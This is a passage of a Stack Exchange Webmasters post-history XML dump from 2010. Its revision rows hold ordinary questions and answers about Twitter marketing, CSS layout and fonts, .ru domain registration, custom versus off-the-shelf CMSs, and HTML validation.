server has a non-standard configuration.&#xD;&#xA;&#xD;&#xA;If none of the above works, check to see if you have directory indexes enabled, and remove any index files from your public_html; that should give you a list of all the files, to verify the structure!" />
  <row Id="4629" PostHistoryTypeId="2" PostId="2407" RevisionGUID="bed43b30-7144-4279-bc88-a7bf370c7248" CreationDate="2010-08-20T16:25:22.350" UserId="1124" Text="The following link will take you to the SEOmoz.org blog, where two days ago, an excellent post was written regarding &quot;missing page audits&quot;, and figuring out exactly what's causing your issue.  Check it out!&#xD;&#xA;&#xD;&#xA;[10 Minute Missing Page Audit][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/10-minute-missing-page-audit" />
  <row Id="4630" PostHistoryTypeId="2" PostId="2408" RevisionGUID="ca3e68c5-7fcf-497f-a226-bed3a71013da" CreationDate="2010-08-20T16:55:32.687" UserId="1429" Text="Could someone explain me what could be an advnatage of being on Twitter for a company website?&#xD;&#xA;Except the fact that it's on fashion right now. :)&#xD;&#xA;&#xD;&#xA;I'm asking because on so many site I find the &quot;little bird&quot; with the words &quot;**FOLLOW** us on Twitter&quot;.&#xD;&#xA;Cool I click on the bird and it brings me to the Twitter page of the company.&#xD;&#xA;&#xD;&#xA;Ihave seen these Twitter's page on many sites, but these pages are always a list of short messages that I don't understand. Soem seem to be private message, some seem to be advertisments from others.&#xD;&#xA;&#xD;&#xA;What should I **FOLLOW** in those messages?&#xD;&#xA;How should I read through those messages?&#xD;&#xA;&#xD;&#xA;Could you give a real life example that shows what's a potenatial advanatge of being on Twitter?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4631" PostHistoryTypeId="1" PostId="2408" RevisionGUID="ca3e68c5-7fcf-497f-a226-bed3a71013da" CreationDate="2010-08-20T16:55:32.687" UserId="1429" Text="Web marketing: tangible advantages of being on Twitter?" />
  <row Id="4632" PostHistoryTypeId="3" PostId="2408" RevisionGUID="ca3e68c5-7fcf-497f-a226-bed3a71013da" CreationDate="2010-08-20T16:55:32.687" UserId="1429" Text="&lt;twitter&gt;&lt;marketing&gt;" />
  <row Id="4633" PostHistoryTypeId="2" PostId="2409" RevisionGUID="05990c53-4dea-4686-961e-64590f69bbc4" CreationDate="2010-08-20T17:26:16.410" UserId="1253" Text=" 1. It's a great way to communicate quickly and easily to people interested in your product/service/company. Many people have Twitter running whenever they are on their computer or smart phone. Reaching them is as easy as a 140 character or less tweet.&#xD;&#xA; 2. Tweets are easy to forward. Let your twitter followers advertise for you. It's not uncommon for tweets to go viral and big part of this is people see tweets from friends and people they follow to be more personal then random advertisements.&#xD;&#xA; 3. It's easy. Seriously. There's a million ways to use Twitter and they;re all easy to do.&#xD;&#xA; 4. It helps you build a network. Not only are your followers part of your network, but so are their followers if they retweet you.&#xD;&#xA;&#xD;&#xA;Don't use Twitter:&#xD;&#xA;&#xD;&#xA; 1. If you don't plan on being semi-active. You don't have to tweet every day but if you don't keep yourself active you may no longer seem interesting or relevant to many followers.&#xD;&#xA; 2. To post personal messages. Separate business from pleasure.&#xD;&#xA;&#xD;&#xA;Randomness:&#xD;&#xA;&#xD;&#xA; 1. Twitter is a great way to handle customer service issues. Many people will complain on Twitter but not to you directly. This is a great way to catch those and turn them in an excellent customer service experience. I've personally seen this done many times by large companies.&#xD;&#xA; 2. Try to create your own hash tag. That will make it easier for you to find tweets that are about you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4634" PostHistoryTypeId="5" PostId="2409" RevisionGUID="1898ab53-3e9f-437f-897d-022afdb1cb5e" CreationDate="2010-08-20T17:31:32.923" UserId="1253" Comment="added 260 characters in body; edited body; added 20 characters in body" Text="Why use Twitter:&#xD;&#xA;&#xD;&#xA; 1. It's a great way to communicate quickly and easily to people interested in your product/service/company. Many people have Twitter running whenever they are on their computer or smart phone. Reaching them is as easy as a 140 character or less tweet.&#xD;&#xA; 2. Tweets are easy to forward. Let your twitter followers advertise for you. It's not uncommon for tweets to go viral and big part of this is people see tweets from friends and people they follow to be more personal then random advertisements.&#xD;&#xA; 3. It's easy. Seriously. There's a million ways to use Twitter and they're all easy to do.&#xD;&#xA; 4. It helps you build a network. Not only are your followers part of your network, but so are their followers if they retweet you.&#xD;&#xA;&#xD;&#xA;Don't use Twitter:&#xD;&#xA;&#xD;&#xA; 1. If you don't plan on being semi-active. You don't have to tweet every day but if you don't keep yourself active you may no longer seem interesting or relevant to many followers.&#xD;&#xA; 2. To post personal messages. Separate business from pleasure.&#xD;&#xA;&#xD;&#xA;Randomness:&#xD;&#xA;&#xD;&#xA; 1. Twitter is a great way to handle customer service issues. Many people will complain on Twitter but not to you directly. This is a great way to catch those and turn them in an excellent customer service experience. I've personally seen this done many times by large companies.&#xD;&#xA; 2. Try to create your own hash tag. That will make it easier for you to find tweets that are about you.&#xD;&#xA; 3. Follow people that are related to your product/service. They may follow you in return.&#xD;&#xA; 4. Don't expect huge awesome things to come from Twitter. It's just one of many tools your company can use to market yourself and even do some good customer service.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4635" PostHistoryTypeId="6" PostId="2408" RevisionGUID="d4d216b8-ce76-4593-ae14-bb0dffd64aab" CreationDate="2010-08-20T17:34:20.097" UserId="1253" Comment="edited tags" Text="&lt;twitter&gt;&lt;marketing&gt;&lt;social-networks&gt;" />
  <row Id="4636" PostHistoryTypeId="2" PostId="2410" RevisionGUID="45e3dd0d-7f84-449e-918f-40e86125198e" CreationDate="2010-08-20T17:46:55.877" UserId="1514" Text="Is it possible to set up multiple logins for access to an Amazon Associates account? (in a way similar to Google Analytics, for example)&#xD;&#xA;&#xD;&#xA;If so, how?" />
  <row Id="4637" PostHistoryTypeId="1" PostId="2410" RevisionGUID="45e3dd0d-7f84-449e-918f-40e86125198e" CreationDate="2010-08-20T17:46:55.877" UserId="1514" Text="Amazon associates access with multiple logins?" />
  <row Id="4638" PostHistoryTypeId="3" PostId="2410" RevisionGUID="45e3dd0d-7f84-449e-918f-40e86125198e" CreationDate="2010-08-20T17:46:55.877" UserId="1514" Text="&lt;amazon&gt;" />
  <row Id="4639" PostHistoryTypeId="2" PostId="2411" RevisionGUID="dbe11162-8e48-482a-8b9e-52aea819e8db" CreationDate="2010-08-20T18:58:04.260" UserId="1653" Text="I have a div but it fits to the borders of the container instead of wrapping around the text. I tried float:left but it will push it to the side and there's no way to make it go to the center. Help?&#xD;&#xA;&#xD;&#xA;Code:&#xD;&#xA;&#xD;&#xA;    div.warning-stripe {&#xD;&#xA;     padding:2px;&#xD;&#xA;     border:1px solid #FFA11B;&#xD;&#xA;     background-color: #FFC71B;&#xD;&#xA;     vertical-align:middle;&#xD;&#xA;     color:835600;&#xD;&#xA;     margin-left:auto;&#xD;&#xA;     margin-right:auto;&#xD;&#xA;     text-align:center;&#xD;&#xA;     &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4640" PostHistoryTypeId="1" PostId="2411" RevisionGUID="dbe11162-8e48-482a-8b9e-52aea819e8db" CreationDate="2010-08-20T18:58:04.260" UserId="1653" Text=" Making a div wrap around the content " />
  <row Id="4641" PostHistoryTypeId="3" PostId="2411" RevisionGUID="dbe11162-8e48-482a-8b9e-52aea819e8db" CreationDate="2010-08-20T18:58:04.260" UserId="1653" Text="&lt;css&gt;" />
  <row Id="4642" PostHistoryTypeId="2" PostId="2412" RevisionGUID="dc4ec6cb-743e-41e3-9bad-b07e0f7fc216" CreationDate="2010-08-20T19:00:04.160" UserId="1652" Text="I am located in the USA and am interested in registering a .ru domain.  I am having some trouble finding a good domain registration site -- light research on 101domain turns up more than a handful of poor/scammy reviews and I haven't found a single review for http://nic.ru though I like the looks of it (at least, more than 101domain).&#xD;&#xA;&#xD;&#xA;If anyone knows of a good domain registration site for .ru domains or has any insight into finding such a site, any help would be much appreciated.&#xD;&#xA;&#xD;&#xA;Thank you,  &#xD;&#xA;Bunny" />
  <row Id="4643" PostHistoryTypeId="1" PostId="2412" RevisionGUID="dc4ec6cb-743e-41e3-9bad-b07e0f7fc216" CreationDate="2010-08-20T19:00:04.160" UserId="1652" Text="Registering a .ru domain in USA" />
  <row Id="4644" PostHistoryTypeId="3" PostId="2412" RevisionGUID="dc4ec6cb-743e-41e3-9bad-b07e0f7fc216" CreationDate="2010-08-20T19:00:04.160" UserId="1652" Text="&lt;domains&gt;&lt;registration&gt;" />
  <row Id="4645" PostHistoryTypeId="2" PostId="2413" RevisionGUID="31ec3f89-91e8-49e1-a5b9-44b3a6018708" CreationDate="2010-08-20T19:06:57.330" UserId="1253" Text="Based on what I see I'm guessing you're trying to get this DIV to center itself in another block level element and not have it expand to the entire width of the container. To do that you need to set a width for that DIV:&#xD;&#xA;&#xD;&#xA;    div.warning-stripe {&#xD;&#xA;     padding:2px;&#xD;&#xA;     border:1px solid #FFA11B;&#xD;&#xA;     background-color: #FFC71B;&#xD;&#xA;     vertical-align:middle;&#xD;&#xA;     color:835600;&#xD;&#xA;     margin-left:auto;&#xD;&#xA;     margin-right:auto;&#xD;&#xA;     text-align:center;&#xD;&#xA;     width: 300px; /* You need a width if you're going to use auto margins */&#xD;&#xA;    }" />
  <row Id="4646" PostHistoryTypeId="2" PostId="2414" RevisionGUID="54958118-16dc-473c-b108-d1276aed432e" CreationDate="2010-08-20T19:07:18.653" UserId="1074" Text="I have a client who is VERY social media saavy.  She tweets multiple times daily in some cases, always with a bit.ly link to her latest work.  Also, facebook and linkedin are kept up-to-date with her latest site updates.  &#xD;&#xA;&#xD;&#xA;Traffic-wise, the social media brings in twice as many people as Google (despite heavy emphasis on SEO)  Her industry is saturated (think Realtors, Auto Dealers, and the like which are just over-advertised) so AdWords are scary expensive, but she's getting quality impressions for free thanks to social media.&#xD;&#xA;&#xD;&#xA;Be aware, to do it right like she does takes determination, attention to detail, and most of all time.  " />
  <row Id="4647" PostHistoryTypeId="2" PostId="2415" RevisionGUID="a12816f9-07f3-4924-b641-7cc218699b67" CreationDate="2010-08-20T19:22:41.433" UserId="1074" Text="I build enterprise level CMS's for a living...and I personally HATE off-the-shelf systems like Joomla, Wordpress, and Drupal.  Here's my reasons:&#xD;&#xA;&#xD;&#xA;1)  Places I've worked have had these (type of) packages exploited multiple times because we weren't fast enough updating them....and in some cases, updates can be weekly.  Once you get hacked, you'll seriously question why you ever went that route...it STINKS.&#xD;&#xA;&#xD;&#xA;2)  Wordpress's templates are maddening.  One will have a fully-featured admin area, while the next has none and expects you to hack the code in.  Where to look?  AHHHHH!!!   I've deployed a lot of them, but it pains me every time.  In my opinion, Wordpress is a blog system...use it for what it's intended to do.&#xD;&#xA;&#xD;&#xA;3)  I put up hundreds of Joomla (and Mambo) sites in a previous job.  Even when you get to know what you're doing, good luck trying to break out of that &quot;Joomla layout&quot; type look....especially if time isn't on your side.  Same goes for Wordpress...you can TELL when you're on a Wordpress site.  No thanks...I get paid to turn out original work.&#xD;&#xA;&#xD;&#xA;4)  Training.  Try explaining Joomla or Drupal administration to someone in 5 minutes or less.  The CMS I built can be taught to someone with one paragraph of written instructions (or less) because I built it to only include the tools that each specific website needs...otherwise, the button goes away.  I challenge you to try to train someone with less than a phone book's worth of instructions, especially if they're not technically savvy.&#xD;&#xA;&#xD;&#xA;5)  Standards compliance...it's something that I personally won't compromise on.  I control everything that my CMS outputs, and I've built it such that a dozen or so lines of code can be inserted into any HTML compliant template in a matter of minutes to produce compliant code every time.  Wordpress is ok at this, Joomla and Drupal not always so much.&#xD;&#xA;&#xD;&#xA;6)  Marketability.  CMS's all do the same things. But try going into a potential customer and saying &quot;I'd like to charge you a lot to customize a free off-the-shelf product&quot; vs. &quot;Here's a system that was built specifically for your need&quot;  If it's a good product, you'll win that business nearly every time.  In your case, this doesn't matter....but who knows, maybe you'd be able to build on the functionality for future projects...paying projects....&#xD;&#xA;&#xD;&#xA;There are of course drawbacks.  You build everything yourself, which takes time.  If you're doing it for multiple sites, economy of scale bring the hit down.  You don't have an army of people finding vulnerabilities...again, having multiple deployments can help the code evolve.  But, if you have the knowledge to write quality code, it's a great solution.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="4648" PostHistoryTypeId="2" PostId="2416" RevisionGUID="ae2fe1ba-1894-4031-98f6-f54dcb4f519b" CreationDate="2010-08-20T20:02:47.637" UserId="1074" Text="Don't forget the concept of domain aging either.  If you slap up a new site on a brand new Domain name, expect Google and the others to de-emphasize it for a time period of at least several months.  This doesn't explain flat out omission as you're seeing, but it does explain why it's incredibly uncommon to see a site shoot directly to the top of the search rankings.&#xD;&#xA;&#xD;&#xA;I've had sites that I put a ton of time into not make google for several weeks or even a month....and I tried every (ethical) trick in the book.  Eventually, they get picked up and because of all the extra work I did, they moved right up the page in a hurry.  I personally subscribe to the idea that SEO is not rocket science, and the only people who REALLY know exactly what will move you up is Google....and they're not telling.  Google will put you on when Google wants to, provided you make every effort to make their life easier.  Bing in my experience has been faster...go figure.  &#xD;&#xA;&#xD;&#xA;My most successful clients actually get more traffic from social media.  If you really need traffic, try promoting yourself consistently everywhere you can (but don't carpet bomb forums, because that's annoying!)&#xD;&#xA;&#xD;&#xA;While you're waiting for it to get indexed.  Do a W3 check...take a few days to do extensive testing....add a cool new feature you've not gotten around to writing yet....analyze and add to your (google discoverable) content.....buy your significant other dinner...walk the dog.  Good Luck!" />
  <row Id="4649" PostHistoryTypeId="2" PostId="2417" RevisionGUID="3f328523-a38f-4c8f-8e33-e4d3e43edf88" CreationDate="2010-08-20T20:44:02.407" UserId="1603" Text="A twitter stream will typically look like gibberish for the uninitiated, especially when Twitter is used right (kind of a paradox). The short format (max 140 characters) typically force the tweeter to use very domain specific lingo, which may look weird for the outsider. This is why you might feel alienated when you visit certain Twitter streams.&#xD;&#xA;&#xD;&#xA;Some companies tweet short sensible announcement, like a long boring list of short news headlines. The more savvy companies manage to engage with 'their followers' - people (typically customers) who somehow take an interest in what the company is doing. Companies who manage to do this have a 'direct line' to their most hard core customers/fans out there. They can chat back and forth with them both as a collective group and more individually.&#xD;&#xA;&#xD;&#xA;I would say that Twitter has value for a company if - and only if - they can reach and engage customers, potential customers or relevant influential people via their Twitter activity. Twitter without engagement is probably a waste of time, except when you are starting up your Twitter feed.&#xD;&#xA;&#xD;&#xA;Obvious benefits of engaging relevant people via Twitter are keeping the outside world up-to-date with your products and getting feedback from people who care enough to give it, but you can also use Twitter to build up your brand as a caring company with great opinions on industry matters. If you manage to do this you will probably get higher customer loyalty, but as a side effect you also get great input for future product development and voicing your opinions might also spawn of more awareness inside your company." />
  <row Id="4650" PostHistoryTypeId="2" PostId="2418" RevisionGUID="c3158104-4805-4132-9d21-8cdab466e122" CreationDate="2010-08-20T20:59:32.703" UserId="1323" Text="I'm more of a computer programmer than a designer and I need some sample CSS images that includes images for:&#xD;&#xA;&#xD;&#xA;* TabControl&#xD;&#xA;* Close Button for TabControl&#xD;&#xA;* Folder Open/Close&#xD;&#xA;* Buttons&#xD;&#xA;* etc...&#xD;&#xA;&#xD;&#xA;Does any premade themes exist that I just start using?  I don't want to start at zero and learn everything at once!" />
  <row Id="4651" PostHistoryTypeId="1" PostId="2418" RevisionGUID="c3158104-4805-4132-9d21-8cdab466e122" CreationDate="2010-08-20T20:59:32.703" UserId="1323" Text="Are there any pre-fab CSS Sprites and styles I can apply to my page?" />
  <row Id="4652" PostHistoryTypeId="3" PostId="2418" RevisionGUID="c3158104-4805-4132-9d21-8cdab466e122" CreationDate="2010-08-20T20:59:32.703" UserId="1323" Text="&lt;css&gt;&lt;theme&gt;&lt;graphics&gt;" />
  <row Id="4653" PostHistoryTypeId="2" PostId="2419" RevisionGUID="34e81adf-a420-4521-b757-23a6e6760c1b" CreationDate="2010-08-20T21:12:32.773" UserId="18" Text="Search XHTML CSS Templates and you'll find tons of templates that come with CSS images for tabs and all those things just a couple of examples: http://www.bluewebtemplates.com/ and http://www.styleshout.com/" />
  <row Id="4654" PostHistoryTypeId="2" PostId="2420" RevisionGUID="eddd63fe-d07a-447b-925d-50d9a99b24ca" CreationDate="2010-08-20T21:30:05.883" UserId="661" Text="[YUI][1] and [jQuery UI][2] both have JS controls for most of those things, along with various different stylesheets to apply to them.&#xD;&#xA;&#xD;&#xA;You can always extract the DOM structure and build your own system that reuses their CSS. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/&#xD;&#xA;  [2]: http://jqueryui.com/" />
  <row Id="4655" PostHistoryTypeId="2" PostId="2421" RevisionGUID="8fe888f6-978f-456d-99a7-d2aafafb0db1" CreationDate="2010-08-20T22:01:06.707" UserId="1655" Text="not sure if this helps, but here seems to be a list of accredited registrars: http://www.cctld.ru/en/registrators/" />
  <row Id="4656" PostHistoryTypeId="2" PostId="2422" RevisionGUID="40edee35-c1db-452b-b26b-761be4e9d8e6" CreationDate="2010-08-20T22:28:22.320" UserId="1064" Text="Just about any cPanel hosting service will work - many have a free trial period and you can shop around to get the best rate (which isn't guaranteed if you go with a plain Drupal host)." />
  <row Id="4657" PostHistoryTypeId="16" PostId="2422" RevisionGUID="40edee35-c1db-452b-b26b-761be4e9d8e6" CreationDate="2010-08-20T22:28:22.320" UserId="-1" />
  <row Id="4658" PostHistoryTypeId="2" PostId="2423" RevisionGUID="a14b7e23-c987-4ecb-b84e-690d4070f3f7" CreationDate="2010-08-20T22:55:47.630" UserId="1074" Text="Have to give some credit to online sprite makers like this: [http://csssprites.com/][1]  Between them and free icon sites such as [http://www.iconfinder.net][2] you can roll very professional interfaces in no time flat.&#xD;&#xA;&#xD;&#xA;As my team's long-time designer once told me, &quot;if you suck at design make something clean and add some snazzy icons....&quot;  Ok, maybe not.&#xD;&#xA;&#xD;&#xA;Also, can't forget JqueryUI's buttons as documented here: [http://www.filamentgroup.com/lab/styling_buttons_and_toolbars_with_the_jquery_ui_css_framework/][3]  There's almost no reason to mess around with buttons made from copious layers of &quot;gloss&quot; on Photoshop anymore...these are SO much easier and faster to deliver.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://csssprites.com/&#xD;&#xA;  [2]: http://www.iconfinder.net&#xD;&#xA;  [3]: http://www.filamentgroup.com/lab/styling_buttons_and_toolbars_with_the_jquery_ui_css_framework/" />
  <row Id="4659" PostHistoryTypeId="5" PostId="2417" RevisionGUID="87972fd9-6c27-466f-8d53-d999878b6f07" CreationDate="2010-08-20T23:14:53.667" UserId="1603" Comment="added info about 'how to follow' and what companies could gain." Text="A raw twitter stream will typically look like gibberish for the uninitiated, especially when Twitter is used right. The short format (max 140 characters) typically force the tweeter to use very domain specific lingo, which may look weird for the outsider. This is why you might feel alienated when you visit certain Twitter streams.&#xD;&#xA;&#xD;&#xA;You should only follow companies/people you care about, and you need not read all their tweets, at least not addressed messages (those tweets start with &quot;@somename&quot;). Create your own twitter login and follow those that interest you. When you follow someone, you don't see addressed messages to strangers and this typically remove the 'private noise' you see on their Twitter profile page. If you find the tweets from someone boring or just too frequent, stop following them. Tweet, re-tweet and reply wisely. When done well people will start to follow you.&#xD;&#xA;&#xD;&#xA;Some companies tweet short sensible announcement, like a long boring list of short news headlines. The more savvy companies manage to engage with 'their followers' - people (typically customers) who somehow take an interest in what the company is doing. Companies who manage to do this have a 'direct line' to their most hard core customers/fans out there. They can chat back and forth with them both as a collective group and more individually.&#xD;&#xA;&#xD;&#xA;I would say that Twitter has value for a company if - and only if - they can reach and engage customers, potential customers or relevant influential people via their Twitter activity. Twitter without engagement is probably a waste of time. &#xD;&#xA;&#xD;&#xA;Obvious benefits of engaging relevant people via Twitter are keeping the outside world up-to-date with your products and getting feedback from people who care enough to give it, but you can also use Twitter to build up your brand as a caring company with great opinions on industry matters (react to feedback, share tips, voice you opinion on major relevant events). If you manage to do this you will probably get higher customer loyalty, and as a side effect you also get great input for future product development and voicing your opinions might also spawn of more awareness inside your company.&#xD;&#xA;&#xD;&#xA;Some companies can benefit from Twitter while other would be wasting their time. If you sell high-end skateboards to rich teens, Twitter could probably boost your sales a lot. If you are a mortician I'd guess you wouldn't find Twitter useful." />
  <row Id="4660" PostHistoryTypeId="2" PostId="2424" RevisionGUID="457ee1d2-76ae-4b90-86fb-e7181305ccb3" CreationDate="2010-08-20T23:30:43.453" UserId="1323" Text="Not sure if this should be a community wiki, but I'd like to find some graphic artists who can create beautiful Windows 7 icons (for use on the web)... somewhat similar in style to the image below.&#xD;&#xA;&#xD;&#xA;Does anyone have suggestions on who has a similar style?&#xD;&#xA; &#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/iMtlC.png" />
  <row Id="4661" PostHistoryTypeId="1" PostId="2424" RevisionGUID="457ee1d2-76ae-4b90-86fb-e7181305ccb3" CreationDate="2010-08-20T23:30:43.453" UserId="1323" Text="Where can I find graphic artists who can draw clean Windows 7/Mac style icons?" />
  <row Id="4662" PostHistoryTypeId="3" PostId="2424" RevisionGUID="457ee1d2-76ae-4b90-86fb-e7181305ccb3" CreationDate="2010-08-20T23:30:43.453" UserId="1323" Text="&lt;website-design&gt;&lt;images&gt;&lt;graphics&gt;" />
  <row Id="4663" PostHistoryTypeId="2" PostId="2425" RevisionGUID="ceccc136-7e41-455a-971a-55361fc21001" CreationDate="2010-08-20T23:52:11.517" UserId="1618" Text="I like [LyteBox][1] for it's small size. Although I had to modifiy it to support &quot;close on click&quot; feature.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dolem.com/lytebox/" />
  <row Id="4664" PostHistoryTypeId="16" PostId="2425" RevisionGUID="ceccc136-7e41-455a-971a-55361fc21001" CreationDate="2010-08-20T23:52:11.517" UserId="-1" />
  <row Id="4665" PostHistoryTypeId="5" PostId="2384" RevisionGUID="9e3ddc21-872e-4c24-9e59-0b57e7c3694a" CreationDate="2010-08-20T23:55:34.800" UserId="1618" Comment="added 110 characters in body; edited tags" Text="What programs can I use to validate HTML/XML markup? &#xD;&#xA;&#xD;&#xA;Basically, I want a local, command-line based, version of [W3C HTML validation service][1] (like `lint`) that I can use for detecting errors.&#xD;&#xA;&#xD;&#xA;**Related Questions:**&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/1802/how-can-i-validate-html-offline&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/" />
  <row Id="4666" PostHistoryTypeId="6" PostId="2384" RevisionGUID="9e3ddc21-872e-4c24-9e59-0b57e7c3694a" CreationDate="2010-08-20T23:55:34.800" UserId="1618" Comment="added 110 characters in body; edited tags" Text="&lt;html&gt;&lt;validation&gt;&lt;xml&gt;" />
  <row Id="4667" PostHistoryTypeId="2" PostId="2426" RevisionGUID="8e9743e5-c0a8-4351-afac-4b0e2fce873e" CreationDate="2010-08-20T23:56:17.500" UserId="1253" Text="Try [Elance][1]. Explain what you're looking for, just like you did here, and ask prospective designers to show samples of their work. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.elance.com/" />
  <row Id="4668" PostHistoryTypeId="2" PostId="2427" RevisionGUID="a881741b-6ee0-4100-bc34-6f6a4d3d6f1a" CreationDate="2010-08-21T00:04:51.307" UserId="1323" Text="I once saw a textbook that recommended a certain pica range for each of several various fonts.  Is there any guide that's available?  What are my options? What should I know as a beginner?" />
  <row Id="4669" PostHistoryTypeId="1" PostId="2427" RevisionGUID="a881741b-6ee0-4100-bc34-6f6a4d3d6f1a" CreationDate="2010-08-21T00:04:51.307" UserId="1323" Text="How do I choose the proper font &amp; size for my site?" />
  <row Id="4670" PostHistoryTypeId="3" PostId="2427" RevisionGUID="a881741b-6ee0-4100-bc34-6f6a4d3d6f1a" CreationDate="2010-08-21T00:04:51.307" UserId="1323" Text="&lt;website-design&gt;&lt;typography&gt;&lt;fonts&gt;" />
  <row Id="4674" PostHistoryTypeId="2" PostId="2429" RevisionGUID="f84ce28f-69b2-4951-bed8-13caa9d3b8d7" CreationDate="2010-08-21T00:33:00.493" UserId="245" Text="I'm not really sure about the correct answer - but I've learnt that you can't measure in pica on a web site (even if CSS pretends to allow that). And I'm afraid you can't measure in anything, because if a user has a 22&quot; monitor (resolution 1920x1080), the font size will be significantly smaller compared to a 24&quot; monitor with the same resolution. - You can't determine the monitor size from the web page.&#xD;&#xA;&#xD;&#xA;Moreover, it also depends enormously on the font: Verdana will appear a lot larger than e. g. Times New Roman.&#xD;&#xA;&#xD;&#xA;Having said that, I'd like to see a good guideline, too!" />
  <row Id="4675" PostHistoryTypeId="5" PostId="2427" RevisionGUID="5cebb706-1e65-4eac-8a5c-2f8d673ce9d7" CreationDate="2010-08-21T00:37:21.187" UserId="1323" Comment="added 7 characters in body" Text="I once saw a textbook that recommended a certain pica range for each of several various fonts.  Is there any online guide that's available?  What are my options? What should I know as a beginner?" />
  <row Id="4676" PostHistoryTypeId="2" PostId="2430" RevisionGUID="320beb30-71ab-41a2-bcc8-be32b075ea18" CreationDate="2010-08-21T00:42:02.953" UserId="1253" Text="You need to keep in mind that different operating systems (Windows, Mac, Linux) have different  default fonts that come as part of the OS. This means if you choose a font that is available on Windows but not on a Mac or Linux those users will see a different font. That font will be the closest match the OS can choose. If you want your site to look uniform across platforms you'll need to choose fonts that are common to all three. Alternatively you can declare multiple fonts in your CSS in the order of preference you wish them to be used. Example:&#xD;&#xA;&#xD;&#xA;    /* Sample CSS rule */&#xD;&#xA;    p &#xD;&#xA;    {&#xD;&#xA;        font-family: arial, helvetica, sans-serif;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In this example all `&lt;p&gt;` tags will use the arial font if it is available. If not the browser is to try to use the helvetica font, otherwise it is to try the default sans-serif font. Always make the last font declared a general system default. See [this article for 8 font stacks that are safe to use][1].&#xD;&#xA;&#xD;&#xA;Another option is to use the new [`@font-face`][2] CSS rule which allows you to use not standard fonts. You need to provide the font on your website but if a user's browser supports @font-face it will download it and use it. Support for this isn't uniform across browsers and some older browsers don't recognize it yet. But with a little effort it can be used in modern websites.&#xD;&#xA;&#xD;&#xA;Font sizes will depend on the font used. The general rule is not to use small fonts as many users will have too much difficulty reading it (basically small fonts are bad accessibility). Also many users like to adjust the font sizes displayed in the browser to make it easier for them to read. If you specify your font sizes using pixels (px) this makes your site harder to use. The general rule is to use empirical units (em) which is a scalable unit and will grow and shrink as the user adjusts their browser display.&#xD;&#xA;&#xD;&#xA;  [1]: http://articles.sitepoint.com/article/eight-definitive-font-stacks&#xD;&#xA;  [2]: http://www.css3.info/preview/web-fonts-with-font-face/" />
  <row Id="4678" PostHistoryTypeId="2" PostId="2431" RevisionGUID="474b94c7-9085-4ff8-af95-531069ec4dd2" CreationDate="2010-08-21T01:42:08.043" UserId="1603" Text="Please don't let this site become Yellow Pages for companies - I fear this will be a messy Wiki where a few companies will profile them selves. Google is better for this: http://lmgtfy.com/?q=order+custom+icons" />
  <row Id="4679" PostHistoryTypeId="5" PostId="2384" RevisionGUID="929df92e-f28d-4791-badb-e4cff00ce169" CreationDate="2010-08-21T01:54:03.637" UserId="1618" Comment="added 101 characters in body" Text="What programs can I use to validate HTML/XML markup? &#xD;&#xA;&#xD;&#xA;Basically, I want a local, command-line based, version of [W3C HTML validation service][1] (like `lint`) that I can use for detecting errors.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I would also accept a solution that uses the W3C web service from the command line.&#xD;&#xA;&#xD;&#xA;**Related Questions:**&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/1802/how-can-i-validate-html-offline&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/" />
  <row Id="4680" PostHistoryTypeId="2" PostId="2432" RevisionGUID="6887e1e1-46d6-4892-b05d-6dc51f9db1ce" CreationDate="2010-08-21T06:21:40.223" UserId="1660" Text="Creating and maintaining a site has never been easier. Graffiti CMS allows you to quickly publish and maintain dynamic content Web sites with little or no knowledge of Web programming.&#xD;&#xA;&#xD;&#xA;http://graffiticms.codeplex.com/" />
  <row Id="4681" PostHistoryTypeId="16" PostId="2432" RevisionGUID="6887e1e1-46d6-4892-b05d-6dc51f9db1ce" CreationDate="2010-08-21T06:21:40.223" UserId="-1" />
  <row Id="4682" PostHistoryTypeId="2" PostId="2433" RevisionGUID="551d85e8-2cb8-455b-a1b2-42aa400fd68c" CreationDate="2010-08-21T08:44:53.647" UserId="1661" Text="On eBay you can code the content of a `&lt;div&gt;` on the auction's page. The problem is that you can't edit the `&lt;head&gt;` content.&#xD;&#xA;&#xD;&#xA;I tried using inside the `&lt;div&gt;` something like this:&#xD;&#xA;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt; &#xD;&#xA;          my styles...&#xD;&#xA;    &lt;/style&gt; &#xD;&#xA;&#xD;&#xA;It works on Chrome and Firefox but it doesn't work on Internet Explorer.&#xD;&#xA;Do you have any hint other than manually write all the `style=&quot;...&quot;` attribute in each element? *&#xD;&#xA;  &#xD;&#xA;I'm not looking for W3C validation, eBay pages are already broken. I just need it to work cross browser.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;\* Unless there is some automatic way to do it.&#xD;&#xA;&#xD;&#xA;PS: I don't have enough reputation to create the eBay tag yet." />
  <row Id="4683" PostHistoryTypeId="1" PostId="2433" RevisionGUID="551d85e8-2cb8-455b-a1b2-42aa400fd68c" CreationDate="2010-08-21T08:44:53.647" UserId="1661" Text="How to overcome eBay CSS limits for auctions' pages?" />
  <row Id="4684" PostHistoryTypeId="3" PostId="2433" RevisionGUID="551d85e8-2cb8-455b-a1b2-42aa400fd68c" CreationDate="2010-08-21T08:44:53.647" UserId="1661" Text="&lt;css&gt;&lt;internet-explorer&gt;&lt;cross-browser&gt;" />
